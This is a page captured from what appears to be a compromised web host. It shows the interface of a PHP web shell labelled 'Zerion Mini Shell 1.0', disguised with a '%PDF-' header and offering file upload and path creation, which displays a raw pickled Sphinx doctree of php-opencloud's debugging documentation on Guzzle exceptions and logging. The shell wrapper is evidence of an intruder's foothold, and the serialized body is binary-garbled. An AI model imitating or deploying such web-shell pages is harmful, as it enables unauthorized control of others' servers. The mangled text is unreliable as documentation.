%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/rackspace/php-opencloud/doc/_build/doctrees/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/rackspace/php-opencloud/doc/_build/doctrees/debugging.doctree

�cdocutils.nodes
document
q)�q}q(U	nametypesq}q(X	debuggingqNXadd to your clientqNXan example with swiftqNXstrategy 2: wire loggingq	NXinstall the pluginq
NX)strategy 1: meaningful exception handlingqNuUsubstitution_defsq}q
Uparse_messagesq]qUcurrent_sourceqNU
decorationqNUautofootnote_startqKUnameidsq}q(hU	debuggingqhUadd-to-your-clientqhUan-example-with-swiftqh	Ustrategy-2-wire-loggingqh
Uinstall-the-pluginqhU(strategy-1-meaningful-exception-handlingquUchildrenq]qcdocutils.nodes
section
q)�q}q(U	rawsourceq UUparentq!hUsourceq"X2/Users/jamie/projects/php/v1-sdk/doc/debugging.rstq#Utagnameq$Usectionq%U
attributesq&}q'(Udupnamesq(]Uclassesq)]Ubackrefsq*]Uidsq+]q,haUnamesq-]q.hauUlineq/KUdocumentq0hh]q1(cdocutils.nodes
title
q2)�q3}q4(h X	Debuggingq5h!hh"h#h$Utitleq6h&}q7(h(]h)]h*]h+]h-]uh/Kh0hh]q8cdocutils.nodes
Text
q9X	Debuggingq:��q;}q<(h h5h!h3ubaubcdocutils.nodes
paragraph
q=)�q>}q?(h XfThere are two important debugging strategies to use when encountering
problems with HTTP transactions.q@h!hh"h#h$U	paragraphqAh&}qB(h(]h)]h*]h+]h-]uh/Kh0hh]qCh9XfThere are two important debugging strategies to use when encountering
problems with HTTP transactions.qD��qE}qF(h h@h!h>ubaubh)�qG}qH(h Uh!hh"h#h$h%h&}qI(h(]h)]h*]h+]qJhah-]qKhauh/Kh0hh]qL(h2)�qM}qN(h X)Strategy 1: Meaningful exception handlingqOh!hGh"h#h$h6h&}qP(h(]h)]h*]h+]h-]uh/Kh0hh]qQh9X)Strategy 1: Meaningful exception handlingqR��qS}qT(h hOh!hMubaubh=)�qU}qV(h X�If the API returns a ``4xx`` or ``5xx`` status code, it indicates that
there was an error with the sent request, meaning that the transaction
cannot be adequately completed.h!hGh"h#h$hAh&}qW(h(]h)]h*]h+]h-]uh/K
h0hh]qX(h9XIf the API returns a qY��qZ}q[(h XIf the API returns a h!hUubcdocutils.nodes
literal
q\)�q]}q^(h X``4xx``h&}q_(h(]h)]h*]h+]h-]uh!hUh]q`h9X4xxqa��qb}qc(h Uh!h]ubah$Uliteralqdubh9X or qe��qf}qg(h X or h!hUubh\)�qh}qi(h X``5xx``h&}qj(h(]h)]h*]h+]h-]uh!hUh]qkh9X5xxql��qm}qn(h Uh!hhubah$hdubh9X� status code, it indicates that
there was an error with the sent request, meaning that the transaction
cannot be adequately completed.qo��qp}qq(h X� status code, it indicates that
there was an error with the sent request, meaning that the transaction
cannot be adequately completed.h!hUubeubh=)�qr}qs(h X�The Guzzle HTTP component, which forms the basis of our SDK's transport
layer, utilizes `numerous exception
classes <https://github.com/guzzle/guzzle/tree/master/src/Guzzle/Http/Exception>`__
to handle this error logic.h!hGh"h#h$hAh&}qt(h(]h)]h*]h+]h-]uh/Kh0hh]qu(h9XXThe Guzzle HTTP component, which forms the basis of our SDK's transport
layer, utilizes qv��qw}qx(h XXThe Guzzle HTTP component, which forms the basis of our SDK's transport
layer, utilizes h!hrubcdocutils.nodes
reference
qy)�qz}q{(h Xg`numerous exception
classes <https://github.com/guzzle/guzzle/tree/master/src/Guzzle/Http/Exception>`__h&}q|(UnameXnumerous exception classesUrefuriq}XFhttps://github.com/guzzle/guzzle/tree/master/src/Guzzle/Http/Exceptionh+]h*]h(]h)]h-]uh!hrh]q~h9Xnumerous exception
classesq��q�}q�(h Uh!hzubah$U	referenceq�ubh9X
to handle this error logic.q���q�}q�(h X
to handle this error logic.h!hrubeubh=)�q�}q�(h X*The two most common exception classes are:q�h!hGh"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/Kh0hh]q�h9X*The two most common exception classes are:q���q�}q�(h h�h!h�ubaubcdocutils.nodes
bullet_list
q�)�q�}q�(h Uh!hGh"h#h$Ubullet_listq�h&}q�(Ubulletq�X-h+]h*]h(]h)]h-]uh/Kh0hh]q�(cdocutils.nodes
list_item
q�)�q�}q�(h Xg``Guzzle\Http\Exception\ClientErrorResponseException``, which is
thrown when a ``4xx`` response occurs
h!h�h"h#h$U	list_itemq�h&}q�(h(]h)]h*]h+]h-]uh/Nh0hh]q�h=)�q�}q�(h Xf``Guzzle\Http\Exception\ClientErrorResponseException``, which is
thrown when a ``4xx`` response occursh!h�h"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/Kh]q�(h\)�q�}q�(h X6``Guzzle\Http\Exception\ClientErrorResponseException``h&}q�(h(]h)]h*]h+]h-]uh!h�h]q�h9X2Guzzle\Http\Exception\ClientErrorResponseExceptionq���q�}q�(h Uh!h�ubah$hdubh9X, which is
thrown when a q���q�}q�(h X, which is
thrown when a h!h�ubh\)�q�}q�(h X``4xx``h&}q�(h(]h)]h*]h+]h-]uh!h�h]q�h9X4xxq���q�}q�(h Uh!h�ubah$hdubh9X response occursq���q�}q�(h X response occursh!h�ubeubaubh�)�q�}q�(h Xg``Guzzle\Http\Exception\ServerErrorResponseException``, which is
thrown when a ``5xx`` response occurs
h!h�h"h#h$h�h&}q�(h(]h)]h*]h+]h-]uh/Nh0hh]q�h=)�q�}q�(h Xf``Guzzle\Http\Exception\ServerErrorResponseException``, which is
thrown when a ``5xx`` response occursh!h�h"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/Kh]q�(h\)�q�}q�(h X6``Guzzle\Http\Exception\ServerErrorResponseException``h&}q�(h(]h)]h*]h+]h-]uh!h�h]q�h9X2Guzzle\Http\Exception\ServerErrorResponseExceptionq���q�}q�(h Uh!h�ubah$hdubh9X, which is
thrown when a q…�q�}q�(h X, which is
thrown when a h!h�ubh\)�q�}q�(h X``5xx``h&}q�(h(]h)]h*]h+]h-]uh!h�h]q�h9X5xxqɅ�q�}q�(h Uh!h�ubah$hdubh9X response occursq̅�q�}q�(h X response occursh!h�ubeubaubeubh=)�q�}q�(h XEBoth of these classes extend the base ``BadResponseException`` class.q�h!hGh"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/Kh0hh]q�(h9X&Both of these classes extend the base qԅ�q�}q�(h X&Both of these classes extend the base h!h�ubh\)�q�}q�(h X``BadResponseException``h&}q�(h(]h)]h*]h+]h-]uh!h�h]q�h9XBadResponseExceptionqۅ�q�}q�(h Uh!h�ubah$hdubh9X class.qޅ�q�}q�(h X class.h!h�ubeubh=)�q�}q�(h XOThis provides you with the granularity you need to debug and handle
exceptions.q�h!hGh"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/Kh0hh]q�h9XOThis provides you with the granularity you need to debug and handle
exceptions.q慁q�}q�(h h�h!h�ubaubh)�q�}q�(h Uh!hGh"h#h$h%h&}q�(h(]h)]h*]h+]q�hah-]q�hauh/K!h0hh]q�(h2)�q�}q�(h XAn example with Swiftq�h!h�h"h#h$h6h&}q�(h(]h)]h*]h+]h-]uh/K!h0hh]q�h9XAn example with Swiftq�q�}q�(h h�h!h�ubaubh=)�q�}q�(h X�If you're trying to retrieve a Swift resource, such as a Data Object,
and you're not completely certain that it exists, it makes sense to wrap
your call in a try/catch block:q�h!h�h"h#h$hAh&}q�(h(]h)]h*]h+]h-]uh/K#h0hh]q�h9X�If you're trying to retrieve a Swift resource, such as a Data Object,
and you're not completely certain that it exists, it makes sense to wrap
your call in a try/catch block:q���q�}q�(h h�h!h�ubaubcdocutils.nodes
literal_block
q�)�r}r(h XUuse Guzzle\Http\Exception\ClientErrorResponseException;

try {
    return $service->getObject('foo.jpg');
} catch (ClientErrorResponseException $e) {
    if ($e->getResponse()->getStatusCode() == 404) {
      // Okay, the resource does not exist
      return false;
    }
} catch (\Exception $e) {
    // Some other exception was thrown...
}h!h�h"h#h$U
literal_blockrh&}r(Ulinenosr�UlanguagerXphpU	xml:spacerUpreserverh+]h*]h(]h)]h-]uh/K'h0hh]rh9XUuse Guzzle\Http\Exception\ClientErrorResponseException;

try {
    return $service->getObject('foo.jpg');
} catch (ClientErrorResponseException $e) {
    if ($e->getResponse()->getStatusCode() == 404) {
      // Okay, the resource does not exist
      return false;
    }
} catch (\Exception $e) {
    // Some other exception was thrown...
}r	��r
}r(h Uh!jubaubh=)�r}r
(h X�Both ``ClientErrorResponseException`` and
``ServerErrorResponseException`` have two methods that allow you to
access the HTTP transaction:h!h�h"h#h$hAh&}r(h(]h)]h*]h+]h-]uh/K7h0hh]r(h9XBoth r��r}r(h XBoth h!jubh\)�r}r(h X ``ClientErrorResponseException``h&}r(h(]h)]h*]h+]h-]uh!jh]rh9XClientErrorResponseExceptionr��r}r(h Uh!jubah$hdubh9X and
r��r}r(h X and
h!jubh\)�r}r(h X ``ServerErrorResponseException``h&}r(h(]h)]h*]h+]h-]uh!jh]r h9XServerErrorResponseExceptionr!��r"}r#(h Uh!jubah$hdubh9X@ have two methods that allow you to
access the HTTP transaction:r$��r%}r&(h X@ have two methods that allow you to
access the HTTP transaction:h!jubeubh�)�r'}r((h X�// Find out the faulty request
$request = $e->getRequest();

// Display everything by casting as string
echo (string) $request;

// Find out the HTTP response
$response = $e->getResponse();

// Output that too
echo (string) $response;h!h�h"h#h$jh&}r)(j�jXphpjjh+]h*]h(]h)]h-]uh/K;h0hh]r*h9X�// Find out the faulty request
$request = $e->getRequest();

// Display everything by casting as string
echo (string) $request;

// Find out the HTTP response
$response = $e->getResponse();

// Output that too
echo (string) $response;r+��r,}r-(h Uh!j'ubaubeubeubh)�r.}r/(h Uh!hh"h#h$h%h&}r0(h(]h)]h*]h+]r1hah-]r2h	auh/KKh0hh]r3(h2)�r4}r5(h XStrategy 2: Wire loggingr6h!j.h"h#h$h6h&}r7(h(]h)]h*]h+]h-]uh/KKh0hh]r8h9XStrategy 2: Wire loggingr9��r:}r;(h j6h!j4ubaubh=)�r<}r=(h X�Guzzle provides a `Log
plugin <http://docs.guzzlephp.org/en/latest/plugins/log-plugin.html>`__
that allows you to log everything over the wire, which is useful if you
don't know what's going on.h!j.h"h#h$hAh&}r>(h(]h)]h*]h+]h-]uh/KMh0hh]r?(h9XGuzzle provides a r@��rA}rB(h XGuzzle provides a h!j<ubhy)�rC}rD(h XL`Log
plugin <http://docs.guzzlephp.org/en/latest/plugins/log-plugin.html>`__h&}rE(UnameX
Log pluginh}X;http://docs.guzzlephp.org/en/latest/plugins/log-plugin.htmlh+]h*]h(]h)]h-]uh!j<h]rFh9X
Log
pluginrG��rH}rI(h Uh!jCubah$h�ubh9Xd
that allows you to log everything over the wire, which is useful if you
don't know what's going on.rJ��rK}rL(h Xd
that allows you to log everything over the wire, which is useful if you
don't know what's going on.h!j<ubeubh=)�rM}rN(h XHere's how you enable it:rOh!j.h"h#h$hAh&}rP(h(]h)]h*]h+]h-]uh/KRh0hh]rQh9XHere's how you enable it:rR��rS}rT(h jOh!jMubaubh)�rU}rV(h Uh!j.h"h#h$h%h&}rW(h(]h)]h*]h+]rXhah-]rYh
auh/KUh0hh]rZ(h2)�r[}r\(h XInstall the pluginr]h!jUh"h#h$h6h&}r^(h(]h)]h*]h+]h-]uh/KUh0hh]r_h9XInstall the pluginr`��ra}rb(h j]h!j[ubaubh�)�rc}rd(h Xcomposer require guzzle/guzzleh!jUh"h#h$jh&}re(j�jXbashjjh+]h*]h(]h)]h-]uh/KWh0hh]rfh9Xcomposer require guzzle/guzzlerg��rh}ri(h Uh!jcubaubeubh)�rj}rk(h Uh!j.h"h#h$h%h&}rl(h(]h)]h*]h+]rmhah-]rnhauh/K]h0hh]ro(h2)�rp}rq(h XAdd to your clientrrh!jjh"h#h$h6h&}rs(h(]h)]h*]h+]h-]uh/K]h0hh]rth9XAdd to your clientru��rv}rw(h jrh!jpubaubh�)�rx}ry(h XVuse Guzzle\Plugin\Log\LogPlugin;

$client->addSubscriber(LogPlugin::getDebugPlugin());h!jjh"h#h$jh&}rz(j�jXphpjjh+]h*]h(]h)]h-]uh/K_h0hh]r{h9XVuse Guzzle\Plugin\Log\LogPlugin;

$client->addSubscriber(LogPlugin::getDebugPlugin());r|��r}}r~(h Uh!jxubaubh=)�r}r�(h XuThe above will add a generic logging subscriber to your client, which
will output every HTTP transaction to `STDOUT`.h!jjh"h#h$hAh&}r�(h(]h)]h*]h+]h-]uh/Kfh0hh]r�(h9XlThe above will add a generic logging subscriber to your client, which
will output every HTTP transaction to r���r�}r�(h XlThe above will add a generic logging subscriber to your client, which
will output every HTTP transaction to h!jubcdocutils.nodes
title_reference
r�)�r�}r�(h X`STDOUT`h&}r�(h(]h)]h*]h+]h-]uh!jh]r�h9XSTDOUTr���r�}r�(h Uh!j�ubah$Utitle_referencer�ubh9X.��r�}r�(h X.h!jubeubeubeubeubah UUtransformerr�NU
footnote_refsr�}r�Urefnamesr�}r�Usymbol_footnotesr�]r�Uautofootnote_refsr�]r�Usymbol_footnote_refsr�]r�U	citationsr�]r�h0hUcurrent_liner�NUtransform_messagesr�]r�Ureporterr�NUid_startr�KU
autofootnotesr�]r�U
citation_refsr�}r�Uindirect_targetsr�]r�Usettingsr�(cdocutils.frontend
Values
r�or�}r�(Ufootnote_backlinksr�KUrecord_dependenciesr�NUrfc_base_urlr�Uhttp://tools.ietf.org/html/r�U	tracebackr��Upep_referencesr�NUstrip_commentsr�NU
toc_backlinksr�Uentryr�U
language_coder�Uenr�U	datestampr�NUreport_levelr�KU_destinationr�NU
halt_levelr�KU
strip_classesr�Nh6NUerror_encoding_error_handlerr�Ubackslashreplacer�Udebugr�NUembed_stylesheetr��Uoutput_encoding_error_handlerr�Ustrictr�U
sectnum_xformr�KUdump_transformsr�NU
docinfo_xformr�KUwarning_streamr�NUpep_file_url_templater�Upep-%04dr�Uexit_status_levelr�KUconfigr�NUstrict_visitorr�NUcloak_email_addressesr��Utrim_footnote_reference_spacer��Uenvr�NUdump_pseudo_xmlr�NUexpose_internalsr�NUsectsubtitle_xformr��Usource_linkr�NUrfc_referencesr�NUoutput_encodingr�Uutf-8r�U
source_urlr�NUinput_encodingr�U	utf-8-sigr�U_disable_configr�NU	id_prefixr�UU	tab_widthr�KUerror_encodingr�UUTF-8r�U_sourcer�h#Ugettext_compactr��U	generatorr�NUdump_internalsr�NUsmart_quotesr��Upep_base_urlr�Uhttp://www.python.org/dev/peps/r�Usyntax_highlightr�Ulongr�Uinput_encoding_error_handlerr�j�Uauto_id_prefixr�Uidr�Udoctitle_xformr��Ustrip_elements_with_classesr�NU
_config_filesr�]Ufile_insertion_enabledr��Uraw_enabledr�KU
dump_settingsr�NubUsymbol_footnote_startr�KUidsr�}r�(hhhhGhjjhj.hjUhh�uUsubstitution_namesr�}r�h$h0h&}r�(h(]h+]h*]Usourceh#h)]h-]uU	footnotesr�]r�Urefidsr�}r�ub.

Zerion Mini Shell 1.0